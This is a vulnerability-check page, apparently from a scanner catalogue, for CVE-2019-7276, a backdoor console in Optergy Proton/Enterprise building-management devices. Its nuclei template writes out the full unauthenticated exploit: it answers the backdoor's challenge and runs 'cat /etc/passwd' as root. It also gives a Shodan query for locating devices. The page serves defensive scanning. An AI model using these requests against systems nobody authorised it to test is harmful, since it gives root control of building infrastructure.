Optergy Proton/Enterprise - Unauthenticated RCE via Backdoor Console

criticalseverity

9.8CVSS score

93.4%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Optergy Proton/Enterprise devices allow Remote Root Code Execution via a Backdoor Console.

Impact

Unauthenticated attackers can exploit the backdoor console to execute arbitrary system commands with root privileges, leading to complete device compromise and control over building management systems.

Fix

Apply vendor-provided firmware updates or disable the affected console feature if possible.

How to confirm it

Send: GET /tools/ajax/ConsoleResult.html?get
Send: POST /tools/ajax/ConsoleResult.html
Positive when: matches /root:.*:0:0:/ AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2019-7276 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-7276

info:
  name: Optergy Proton/Enterprise - Unauthenticated RCE via Backdoor Console
  author: daffainfo
  severity: critical
  description: |
    Optergy Proton/Enterprise devices allow Remote Root Code Execution via a Backdoor Console.
  impact: |
    Unauthenticated attackers can exploit the backdoor console to execute arbitrary system commands with root privileges, leading to complete device compromise and control over building management systems.
  remediation: |
    Apply vendor-provided firmware updates or disable the affected console feature if possible.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-7276
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/optergy_bms_backdoor_rce_cve_2019_7276.rb
    - https://attackerkb.com/topics/QrYFIjnd3J/cve-2019-7276
    - https://www.zeroscience.mk/files/ioybms_gk_2019.pdf
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-7276
    epss-score: 0.93384
    epss-percentile: 0.9984
    cpe: cpe:2.3:a:optergy:enterprise:*:*:*:*:*:*:*:*, cpe:2.3:a:optergy:proton:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: optergy
    product: enterprise,proton
    shodan-query: html:"Optergy"
  tags: cve,cve2019,optergy,proton,backdoor,rce,intrusive,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /tools/ajax/ConsoleResult.html?get HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: json
        name: challenge
        json:
          - '.response.message'
        internal: true

  - raw:
      - |
        POST /tools/ajax/ConsoleResult.html HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        command=cat /etc/passwd&challenge={{challenge}}&answer={{ sha1(challenge) + md5(sha1(challenge)) }}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from